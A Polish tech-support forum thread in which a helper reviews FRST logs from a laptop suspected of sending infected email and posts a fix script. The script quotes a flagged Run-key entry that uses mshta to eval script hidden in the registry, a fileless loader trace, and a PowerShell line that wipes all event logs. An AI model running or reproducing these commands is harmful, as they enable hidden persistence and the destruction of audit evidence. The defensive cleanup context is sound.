Wirus rozsyłający spam - wolne działanie laptopa

[atasuke]

Witam 

Mam problem z laptopem kuzynki  i jego dziwnym zachowaniem.  Otrzymałem informacje że mój komputer sam wysyła zainfekowane maile do innych użytkowników. W dodatku niepokoi mnie wolne działanie komputera.

W;logach zauważyłem pod montowane zainfekowane pendrive. Chrome zachowuje się bardzo dziwnie działa wolno w dodatku nie pokoi mnie ilość procesów chrome.  

Przesyłam log z FRST . 

Addition.txt FRST.txt Shortcut.txt

[jessica]

Cytat

W logach zauważyłem pod montowane zainfekowane pendrive.

Ja tego w logach nie widzę.

 

Cytat

nie pokoi mnie ilość procesów chrome

U mnie (tylko jeden profil, i otwarta tylko jedna strona) jest tych procesów 9.

 

Nie widzę tu żadnej infekcji.

 

Uruchom FRST. Na klawiaturze naciśnij jednocześnie CTRL+Y.
Otworzy się Notatnik - wklej do niego:

Spoiler

HKU\S-1-5-21-2909861356-222113022-3042124447-1000\...\Run: [cmicclen] => mshta "about:<hta:application><script>moveTo(-898,-989);resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\AppDataLow\\Software\\Microsoft\\50104E7A-6FA7-02AE-7984-1356BDF8 (dane wartości zawierają 51 znaków więcej). <==== UWAGA
HKU\S-1-5-21-2909861356-222113022-3042124447-1000\...\Policies\Explorer: []
CHR HKLM\SOFTWARE\Policies\Google: Ograniczenia <==== UWAGA
FirewallRules: [{142EA57D-D6EC-495B-B51E-27B071207989}] => (Allow) C:\Program Files\AVAST Software\Avast\AvEmUpdate.exe Brak pliku
FirewallRules: [{2E599D9E-87D9-4A1B-B5D6-1134BDE57108}] => (Allow) C:\Program Files\AVAST Software\Avast\AvEmUpdate.exe Brak pliku
Powershell: wevtutil el | Foreach-Object {wevtutil cl "$_"}
EmptyTemp:

Na klawiaturze naciśnij jednocześnie CTRL+S.
W FRST kliknij na Fix (NAPRAW).

 

jessi

[atasuke]

Załączam plik po wykonaniu skryptu:

Z tego co widziałem  z powershella komenda się nie wykonała. 

Co do infekcji może tak być jak mówisz tylko chciałem mieć pewność. Bo z tego komputera były rozsyłane dziwne załączniki w mail. Które po otworzeniu zarażają trojanem będę miał dostęp do takiego komputera dzisiaj. Zamieszczę loga z tego drugiego komputera w nowym temacie. 

Natomiast wszystkie maile miały temat maila jako nazwę która zaznaczyłem w logu na czerwono:

HKLM\...\Drivers32: [msacm.l3acm] => C:\Windows\system32\l3codecp.acm [182272 2009-07-14] (Microsoft Windows -> Fraunhofer Institut Integrierte Schaltungen IIS)  

Postaram sie przekopiować treść maila bez załacznika.

 

Fixlog.txt

[jessica]

Cytat

Fraunhofer Institut Integrierte Schaltungen

https://pl.wikipedia.org/wiki/Towarzystwo_Fraunhofera

Nie uważam, by to miało jakikolwiek związek z "wirusami".

Prawdopodobnie któryś Twój program miał jakiś kontakt z tym "Frauenhofer"

https://www.iis.fraunhofer.de/de/ff/sse/icd.html

 

jessi

[atasuke]

w takim razie tutaj temat raczej zamknięty.